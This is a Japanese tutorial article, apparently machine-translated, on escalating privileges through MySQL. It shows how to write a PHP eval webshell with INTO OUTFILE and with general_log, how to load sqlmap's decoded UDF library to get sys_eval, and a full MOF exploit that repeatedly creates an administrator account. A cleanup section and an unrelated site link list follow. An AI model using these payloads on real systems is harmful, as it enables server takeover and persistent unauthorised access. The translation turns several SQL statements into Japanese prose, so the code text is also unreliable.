MySQL 権限昇格のさまざまな形態の概要

MySQL 権限昇格のさまざまな形態の概要

1. Webshel​​lを書く

出力ファイルにシェルを書き込む

前提条件:

1. ウェブサイトの物理的なパスを知る

2. 高い権限を持つデータベースユーザー

3. load_file() が有効になっている、つまり secure_file_priv は無制限である

4. ウェブサイトのパスに書き込み権限がある

まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。

'%secure_file_priv%' のようなグローバル変数を表示します。 

価値例示する
NULL輸入も輸出も禁止
/varインポートとエクスポートは/varディレクトリでのみ許可されます
ヌル無制限のディレクトリ

MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。

MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。

上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。

'<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 

ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。

上部包丁接続部

ログファイル書き込みシェル

前提条件:

1. Webフォルダの緩い権限が書き込まれる可能性がある

2. ウィンドウ

3. MySQLまたはApacheを高い権限で実行する

MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。

ログディレクトリを表示する

'general%' のような変数を表示します。 

general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。
ログ ファイルをカスタマイズして、ログ ファイルにコンテンツを書き込むと、getshell を正常に実行できます。

ログファイルの場所の変更

グローバル general_log を "ON" に設定します。
グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。

現在のログ構成を表示する

ターゲットディレクトリを確認し、log.phpファイルを書き込みます

シェルに書き込む

'<?php @eval($_POST[cmd]); ?>' を選択します

包丁で接続する


2. UDF 権限昇格

カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。

ダイナミック リンク ライブラリ

MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。

では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。

sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所

sqlmap ルートディレクトリ/data/udf/mysql

ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。

デコード方法は次のとおりです。

32 ビット Windows ダイナミック リンク ライブラリのデコード:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です

または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する

Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所

次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。

'%plugin%' のような変数を表示する


ダイナミックリンクライブラリの書き込み

secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。

load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。

c

カスタム関数を作成し、コマンドを呼び出す

カスタム関数の作成

CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 

sys_evalが追加されているかどうかを確認する

次に、作成された関数を通じてシステム コマンドを実行できます。

カスタム関数の削除

関数 sys_eval を削除します。

3. MOF 権限昇格

Mof 権限昇格原則

mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。

厳格な前提条件:

1. Windows 03以下

2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。

3. secure-file-privパラメータがnullではない

権限昇格プロセス:

MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。

エクスプロイト コードは次のとおりです (test.mof):

#pragma namespace("\\\\.\\root\\subscription")
__EventFilter のインスタンスを $EventFilter として
{
イベント名前空間 = "Root\\Cimv2";
名前 = "filtP2";
クエリ = "Select * From __InstanceModificationEvent"
「TargetInstance は \"Win32_LocalTime\" です」
「そして TargetInstance.Second = 5」;
クエリ言語 = "WQL";
};
ActiveScriptEventConsumer のインスタンスを $Consumer として
{
名前 = "consPCSV2";
スクリプトエンジン = "JScript";
スクリプトテキスト =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
};
__FilterToConsumerBinding のインスタンス
{
消費者 = $Consumer;
フィルター = $EventFilter;
};

MOF ファイルの使用率:

上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。

ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。

load_file("C:/soft/test.mof") をダンプファイル "c:/windows/system32/wbem/mof/nullevt.mof" に選択します。

権限昇格を確認します。

mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。

MOF権限昇格のデメリットについて

権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか?

cmd で次のステートメントを実行します。

#winmgmt サービスを停止します net stop winmgmt

#リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\

# mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# 作成したユーザーを削除する net user hpdoger /delete

#サービスを再起動しますnet start winmgmt

要約する

これで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • Linux は UDF ライブラリを使用して MySQL 権限昇格を実現します
  • MySQL 権限昇格方法
  • MySQL の名の下に権限を昇格する

<<:  モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します

>>:  div を下から上にスライドさせる CSS3 の例

推薦する

git bash を使用して Linux にログインするための ssh の設定方法

1. まず、Linux サーバー上で公開鍵ファイルと秘密鍵ファイルを生成します。デフォルトの保存ディ...

jsでユーザー登録機能を実装する

この記事の例では、ユーザー登録機能を実装するためのjsの具体的なコードを参考までに共有しています。具...

MySQLの関連ロックについての簡単な理解

この記事は主にInnoDBのロックに関する知識を素早く理解してもらうことを目的としています。 Roc...

Vue px to rem 構成の詳細な説明

目次方法1 1. 構成とインストールの手順:方法2方法3要約する方法1 1. 構成とインストールの手...

MySQL で浮動小数点データを文字データに変換するときに起こりうる問題の詳細な説明

序文この記事は主に、MySQL で浮動小数点型を文字型に変換するときに発生する問題を紹介します。これ...

html-cssタグのスタイル設定が機能しない2つの理由

1 セミコロン「;」のない CSS スタイル2 タグが閉じられておらず、「>」がありません...

Centos7 に yum を使用して MySQL をインストールし、リモート接続を実現する方法

Centos7はyumを使用してMySQLをインストールし、リモート接続を実現する方法です。MySQ...

新しいウィンドウで開くジャンプメニュー、window.open の使い方の紹介

コードをコピーコードは次のとおりです。 <前> <div> <sele...

Dockerはrabbitmqのサンプルコードをインストールして実行します

イメージをプルします: [mall@VM_0_7_centos ~]$ sudo docker pu...

vite+vue3+element-plus プロジェクトをビルドする手順

viteを使用してvue3プロジェクトを構築するターミナルで次のコマンドを実行すると、Vite を使...

データベースSQL文の最適化

最適化する理由:実際のプロジェクトが開始され、データベースが一定期間稼働した後、初期のデータベース設...

レスポンシブ Web デザインが価値のない 5 つの理由

この記事は Tom Ewer の Managewp ブログからのもので、現在人気のレスポンシブ デザ...

MySQL で絵文字表現を挿入できない理由と解決策

失敗のシナリオMySQL データベースに絵文字表現を挿入するために JDBC を呼び出すと、例外ja...

MySQL 5.7 の Docker バージョンを MySQL 8.0.13 にアップグレードし、データを移行する

目次1. 古いMySQL5.7データをバックアップする2. MySQL8.0.13のイメージをプルし...

TypeScript のクラス

目次1. 概要2. シンプルなクラスを定義する3. 継承4. public、private、prot...